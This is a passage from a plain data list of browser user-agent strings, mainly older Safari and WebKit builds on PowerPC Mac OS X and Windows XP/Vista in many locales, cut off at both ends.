(Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-ES) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/420+ (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/412.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/417.9 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ca) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1 (KHTML, like Gecko) Safari/125 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/124 (KHTML, like Gecko) Safari/125.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.11 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; pt-pt) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418.9 (KHTML, like Gecko) Safari/ -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tr-tr) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.34 (KHTML, like Gecko) Dooble/1.40 Safari/534.34 -Mozilla/5.0 (Windows; U; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-en) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ca-es) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 Safari/525.29 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; da) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK) AppleWebKit/523.11.1+ (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; da-dk) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 -Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; el) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.4.1+ (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525+ (KHTML, like Gecko) Version/3.1.1 Safari/525.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fi-FI) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; hr) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; id) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/525+ (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ko-KR) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nb) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/523.12.9 (KHTML, like Gecko) Version/3.0 Safari/523.12.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/525+ (KHTML, like Gecko) Version/3.0 Safari/523.15 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; th) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/528+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/528+ (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8 -Mozilla/5.0 (Windows; U; Windows NT 5.2; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; pt) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 5.2; ru-RU) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; cs) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; da-DK) AppleWebKit/523.12.9 (KHTML, like Gecko) Version/3.0 Safari/523.12.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/525+ (KHTML, like Gecko) Version/3.0.4 Safari/523.11 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-gb) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-es) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fi) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-ch) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 